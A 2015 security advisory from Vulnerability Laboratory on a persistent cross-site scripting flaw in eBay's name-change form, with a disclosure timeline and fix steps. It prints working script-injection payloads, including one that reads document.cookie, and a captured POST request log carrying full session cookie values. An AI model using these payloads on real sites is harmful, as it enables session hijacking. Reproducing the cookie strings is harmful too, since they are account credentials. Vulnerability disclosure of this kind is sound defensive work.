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Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability



Document Title:
===============
Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1227


Release Date:
=============
2015-03-24


Vulnerability Laboratory ID (VL-ID):
====================================
1227


Common Vulnerability Scoring System:
====================================
3.9


Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer corporation, headquartered in San Jose, California. It was founded by Pierre Omidyar in 1995, 
and became a notable success story of the dot-com bubble; it is now a multi-billion dollar business with operations localized in over thirty countries. The company 
manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to 
its auction-style sellings, the website has since expanded to include `Buy It Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); 
online classified advertisements online event ticket trading online money transfers and other services.

(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input validation web vulnerabilities in the official Ebay Magento Web-Application (CMS & API).


Vulnerability Disclosure Timeline:
==================================
2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2014-03-17: Vendor Notification (eBay Inc - Security Research Team)
2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team)
2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team)
2015-03-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Application & API


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Two persistent input validation web vulnerabilities has been discovered in the official Ebay Magento Web-Application (CMS & API).
A persistent vulnerability allows remote attackers to inject malicious script codes on the application-side of the affected web-application.

The vulnerability is located in the real `name change` (`Namensänderung`) formular. The input validation of the vulnerable `first- & lastname` does 
not encode scipt codes. Remote attackers are able to jungle over the main website to the real name change module. In the real name change module the 
change the registration name with an payload. The scipt code executes in both scenarios but only in case without doublequotes it will be changed 
(written) in the database. The execution occurs directly in the formular and in the top user name context location. The attack vector is persistent 
and the request method to inject is POST. After the save of the payload it is possible to attack platform users with the manipulated profile values. 

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. 
Exploitation of the persistent web vulnerability requires a low privileged web-application user account and low user interaction. Successful exploitation 
results in session hijacking, persistent phishings attacks, persistent external redirect and malware loads or persistent manipulation of affected or 
connected module context.

Vulnerable Module(s):
					[+] Startseite > Namensänderung > [Namensänderung]

Vulnerable Parameter(s):
					[+] firstname
					[+] lastname

Affected Domain(s):
					[+] ebay.com
					[+] namechange.ebay.*


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged application user account and low or medium user interaction. 
For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue.

PoC: firstname
<td><input name="firstname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);">&#8203;&#8203;&#8203;&#8203;&#8203;   "><img src="x" onerror="prompt(23);">">&#8203;&#8203;&#8203;&#8203;&#8203;</td>

PoC: lastname
<td class="Bullets">
<input name="lastname" style="width:500px;" value="" type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x" onerror="prompt(23);">&#8203;&#8203;&#8203;&#8203;&#8203;   "><img src="x" onerror="prompt(23);">">&#8203;&#8203;&#8203;&#8203;&#8203;</td>


PoC: Payload(s)
">%20<img src="a" onerror="prompt(23);">
"<img src="x" onerror="prompt(document.cookie);">


--- PoC Session Logs [POST] ---
Status: Aus dem Cache geladen[Aus dem Cache geladen]
POST http://namechange.ebay.de/ Load Flags[LOAD_FROM_CACHE  ] Größe des Inhalts[-1] Mime Type[unbekannt]
   Request Header:
      Host[namechange.ebay.de]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://namechange.ebay.de/]
      Cookie[ebay=%5Ea2p%3D53271e2790000000000.%5Epsi%3DAsoSnBFk*%5EsfLMD%3D1391608831%5Esbf%3D1048576%5Ecos%3D0%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53271766%5E; dp1=bpcid/223570455084ab5^a1p/0532868b5^bl/DE56e97e35^pbf/%2340000000000081a8c200000455084ab5^mpc/0%7C7753344635^kms/in56e97e35^reg/%5EflagReg%3D1%5E5c8d8e00^tzo/-3c53272545^exc/0%3A0%3A2%3A2534ea435^u1p/MjAxNC5rdW56bQ**55084ab5^u1f/Benjamin55084ab5^idm/1532865eb^; cssg=d0a729021440a62067e10281ff8b9953; s=BAQAAAUSucEmyAAWAAAEAClMoaGoyMDE0Lmt1bnptAAMAAVMoaLUwAWUAAlMoaLUjMgAGAAFTKGi1MACoAAFTKGi0MQFKABlTKGi1NTMyNzE3MzUuNzcuMS4xMS43OC4yLjAuMgAMAApTKGi1MTIyNTYzNzkwNgDuAGxTKGi1MQZodHRwOi8vbXkuZWJheS5kZS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JmN1cnJlbnRwYWdlPU15ZUJheUFkZHJlc3NlcyZzc3BhZ2VuYW1lPVNUUkslM0FNRSUzQUxOTEsHABEAD1MnG5owMDEyMTIwMTQua3Vuem0AEgAKUyhotXRlc3RDb29raWUA9AAiUyhotSQyJEFHbGR1QlhiJERkenZyQms4VzNCY25OdWo0WlpYZTAA+AAgUyhotWQwYTcyOTAyMTQ0MGE2MjA2N2UxMDI4MWZmOGI5OTUzALgADFMnGGExMzk1MDcwNzU2OjAAPQAKUyhotTIwMTQua3Vuem1FmLE+27m8Zof+2xnXOm4/NFcHGw**; nonsession=BAQAAAUSucEmyAAaAAEAAClUISrUyMDE0Lmt1bnptAWQAA1UISrUjOGEABAAKVQhKajIwMTQua3Vuem0AygAgXI0YtWM3OGNiZWY5MTQ0MGEzNTgyZGMzZDMxM2ZmYTdhM2IyAMsAAlMnHj05MgFMABlVCEq1NTMyNzE3MzUuNzcuMS4xMS43OC4zLjAuMgFNABlVCEq1NTMyNzE3MzUuNzcuMS4yLjEzNi4wLjAuMgAQAApVCEq1MjAxNC5rdW56bQAzAAlVCEq1MzQxMjgsREVVAPMAIlUISrUkMiRBR2xkdUJYYiREZHp2ckJrOFczQmNuTnVqNFpaWGUwALQAAVMn7vAwAJoAC1MpueoyMDE0Lmt1bnptbgCcADhVCEq1blkrc0haMlByQm1kajZ3Vm5ZK3NFWjJQckEyZGo2QUdrb2VuQzVlTG9RcWRqNng5blkrc2VRPT0AnQAIVQhKtTAwMDAwMDAxPfZj5+XMryhDSD8OFMa8uTDhh84*; cid=fQWajzwBNP9yfsZ3%232235704; lucky9=9735524; npii=btguid/c78cbef91440a3582dc3d313ffa7a3b255084a4a^cguid/c77cfce61440a56b23d61f96fe2e024155084a4a^; ds1=ats/0; ns1=BAQAAAUSucEmyAAaAANgAYlUISrVjOTR8NjAxXjEzOTUwNzAyNzMwMTdeTWpBeE5DNXJkVzU2YlE9PV4xXjN8Mnw2NXw1MHw1fDR8MTF8N14xXjJeNF4zXjEyXjEyXjJeMV4xXjBeMV4wXjBeMjE0NzQ5MTc3OQClAA1VCEq1MTIyNTYzNzkwNi8wO0yWn93iOeekHlbGoiabaz+eh5SQ; secses=BAQAAAUSucEmyAAaAAUsAGVUISrU1MzI3MTczNS43Ny4xLjExLjc4LjIuMC4y0niei+BIO3Yw57q3p8I3L/TNtoI*; shs=BAQAAAUSucEmyAAaAAVUADlMwUbQ1MTYyMjA1MzEwMDQsM9g7wvvmFa4cmHqHt8ygpU/NRi+3; ds2=asotr/b1Brzzzzzzzz^; dnc-ebay-de=e466b3644255378e63e0f112f81ebb0abf2ad87aad2a1286866a8d066286e5fc; ebay_dnc=u8sqslc4u5voc8605b5o7a8ag3; ssg=uld/1395070822457%5E]
   POST-Daten:
      firstname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
      lastname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
      reason_code[NCP]
      request_comment[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E+++bug+bounty+program+test+-+bkm]
      action[proceed]


Reference(s):
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationPreview
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationShow  (Click Change original Registration Account "Name")
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange1 (Login as the regular user account)
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange2 (Exchange the user values with the name with a persistent script code payload)
http://namechange.ebay.de/ (persistent execution with save in the frontend & executable script code in backend too!)


Solution - Fix & Patch:
=======================
The vulnerability needs to be patched in 3 different steps.

1. The input field of the original registration user name change module needs to be restricted on special characters or script codes
2. In the second step the input of the context itself needs to be encoded or secure parsed to prevent further execution of malicious injected script codes as original user name value.
3. The optional third step is to encode already injected strings as original names in the database to prevent executions after the module has been successful updated.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the ebay original name change module is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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policies, deface websites, hack into databases or trade with fraud/stolen material.

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